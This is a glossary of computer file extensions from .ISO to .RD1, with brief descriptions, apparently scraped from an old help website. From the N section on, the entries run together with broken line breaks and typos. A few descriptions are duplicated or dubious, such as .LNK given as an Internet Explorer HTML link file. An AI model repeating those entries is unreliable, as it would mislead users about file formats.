.ISO Compressed file used for an exact duplicate of a CD. .ISO files can be extracted or opened such programs as Win Image that can be found on our shareware download section.
.IWA IBM Writing Assistant Text file.
J
.JAS Graphic
.JPG Graphic commonly used on the Internet and capable of being opened by most modern image editors.
.JS JavaScript file.
.JSB Henter-Joyce Jaws script binary file
.JSD eFAX jet suite document
.JSE JScript encoded script file
.JSH Henter-Joyce Jaws script header file
.JSL PaintShop pro file
.JSM Henter-Joyce Jaws script message file
.JSP Java server page
.JSS Henter-Joyce Jaws script source file
.JT JT fax file
.JTF JPEG tagged Interchange format file
.JTK Sun Java toolkit file
.JTP JetForm file
.JW Justwrite text file
.JWL Justwrite text file library
.JZZ Jazz spreadsheet
K
.KAR Karaoke File used with some audio players.
L
.LGC Program Use Log File (for Windows Program Use Optimization).
.LGO Contains the code for displaying the screen logo.
.LOG Contains the process of certain steps, such as when running scandisk it will usually keep a scandisk.log of what occurred.
.LNK HTML link file used with Microsoft Internet Explorer.
.LWP Lotus Wordpro 96/97 file.
M
.MAC Macintosh macpaint files.
.MBX Microsoft Outlook Express mailbox file.
.MD Compressed Archive file
.MDA Microsoft Access Add-in / Microsoft Access 2 Workgroup.
.MDB Microsoft Access Database / Microsoft Access Application.
.MDE Microsoft Access Database File
.MDF Menu definition file
.MDL Digitrakker Music Module / Rational Rose / Quake model file
.MDM Telix Modem Definition
.MDN Microsoft Access Blank Database Template
.MDP Microsoft Developer Studio Project
.MDT Microsoft Access Add-in Data
.MDW Microsoft Access Workgroup Information
.MDX dBase IV Multiple Index
.MDZ Microsoft Access Wizard Template
.MEB WordPerfect Macro Editor bottom overflow file
.MED WordPerfect Macro Editor delete save / OctaMed tracker module
.MEM WordPerfect Macro Editor macro / Memory File of variables
.MID Midi orchestra files that are used to play with midi sounds built within the sound card.
.MIX Power C object file / Multiplayer Picture file (Microsoft Photodraw 2000 & Microsoft Picture It!) / Command & Conquer Movie/Sound file
.MOD Winoldap files that support (with grabbers) data exchange between DOS apps and Windows apps.
.MOV File used with Quick Time to display a move.
.MP1 MPEG audio stream, layer I
.MP2 MPEG audio stream, layer II
.MP3 MPEG audio stream, layer III; High compressed audio files generally used to record audio tracks and store them in a decent sized file available for playback. See our MP3 page for additional information.
.MPG MPEG movie file.
.MSN Microsoft Network document / Decent mission file
.MTF Windows metafile.
.MTH Derive Math file
.MTM Sound file / MultiTracker music module
.MTV Picture file
.MTW Minitab data file
.MU Quattro menu
.MUL Ultima Online game
.MUP Music publisher file
.MUS Audio file
.MVB Database file / Microsoft multimedia viewer file
.MVE Interplay video file
.MVF Movie stop frame file
.MWP Lotus Wordpro 97 smartmaster file
.MXD ArcInfo map file
.MXT Microsoft C Datafile
.MYD Make your point presentation file.
N.N64 Nintendo 64
Emulator ROM image..NA2 Netscape
Communicator address book..NAB Novell Groupwise
address book.NAP Napster Music
security definition file..NDF NeoPlanet Browser
file.NDX Indexed file for
most databases..NES Nintendo
Entertainment system ROM image..NIL Norton guide online
documentation.NGF Enterasys Networks
NetSight file..NHF Nero HFS-CD
compilation or a general Nero file.NIL Norton icon lybrary
file..NLB Oracle 7 data file.NLD ATI Radeon video
driver file,.NMI SwordSearcher file..NON LucasArts Star Wars
- Tie fighter mouse options file..NOW Extension commonly
used for readme text files..NRA Nero Audio CD file..NRB Nero CD-ROM boot
file..NS2 Lotus Notes 2
database,.NS5 Lotus Notes Domino
file,.NSO NetStudio easy web
graphics file..NT Windows NT startup
file..NUM File used with some
Software Manufactures to store technical support numbers or other phone
numbers, should be readable from DOS and or Windows.O.OCA Control Typelib
Cache..OCX Object Linking and
Embedding (OLE) control extension..OLB Object library.OLD Used for backups of
important files incase they are improperly updated or deleted..OLE Object Linking and
Embedding object file.OLI Olivetti text file.ORI Original file.P.PAB Personal Address
Book, file used with Microsoft Outlook..PB WinFax Pro phone
book file.PBD PowerBuilder
dynamic library / Faxit phone book file.PBF Turtle Beach
Pinnacle bank file.PBK Microsoft phonebook
file.PBL PowerBuilder
library file.PBM UNIX portable
bitmap fuke.PBR PowerBuilder
resource.PBI Profiler binary
input file.PBM PBM portable bit
map graphic.PBO Profiler binary
output.PBT Profiler binary
table.PCX Microsoft Paint
& PC Paintbrush Windows/DOS..PDA Bitmap graphic file.PDB TACT data file.PDD Adobe PhotoDeluxe
Image..PDF Adobe Acrobat
Reader file which can only be read by Adobe Acrobat (to get file downloaded
Adobe Acrobat from our Download Page..PDL Borland C++ project
description language file..PDS Graphic file /
Pldasm source code file..PDV Paintbrush printer
driver..PDW Professional Draw
document..PIC Picture / Viewer
Frame Class..PIF Program Information
File that configures a DOS app to run efficiently in windows..PJF Paintjet soft font
file..PL Harvard palette file
/ PERL program file.PL3 Harvard chart
palette.PLB Foxpro library /
LogoShow Screensaver file.PLC Lotus Add-in.PLD PLD2 source file.PLG REND386 / AVRIL
file.PLI Oracle 7 data
description.PLL Prelinked library.PLM DisorderTracker2
module.PLN WordPerfect
spreadsheet file.PLR Descent Pilot file.PLS WinAmp MPEG
playlist file / DisorderTracker 2 Sample file / Shoutcast file / MYOB data file.PLT AutoCAD HPGL vector
graphic plotter file / Gerber sign-making software file / Betley's CAD
Microstation driver configuration for plotting.PLY Autodesk polygon.PP Compressed archive
file..PP4 Picture Publisher..PP5 Picture Publisher..PPA Power Point Add-in..PPB WordPerfect Print
preview button bar..PPD PostScript Printer
description..PPF Turtle Beach
Pinnacle program file..PPI Microsoft
PowerPoint graphic file..PPL Harvard (now Serif)
Polaroid Palette Plus ColorKey Driver..PPM PBM Portable
Pixelmap Graphic..PPO Clipper
Preprocessor Output..PPP Serif PagePlus
Publication..PPS Microsoft
PowerPoint Slideshow..PPT Microsoft
PowerPoint presentation..PPX Serif PagePlus
publication..PPZ Microsoft
PowerPoint Packaged Presentation..PS2 File to support the
Micro Channel Architecture in 386 Enhanced mode..PSD Adobe Photoshop
image file..PST Post Office Box
file used with Microsoft Outlook usually mailbox.pst unless named otherwise..PWA Password agent
file..PWD Password file..PWF ProCite Workforms.PWL Password file used
in Windows 95 and Windows 98 is stored in the Windows directory..PWP Photoworks image
file.PWZ PowerPoint wizardQ.QIC Windows backup file.QT Quick Time Movie
File.QXD Quark Express file.QXL Quark Xpress
element library.QXT Quark Xpress
template fileR.RA Real Audio file..RAM Real Audio file..RAR Compressed file
similar to .ZIP uses different compression program to extract. See our
recommended download page for a program that can be used to extract .RAR files..RAS File extension used
for raster graphic files..RD1 Descent registered
level file
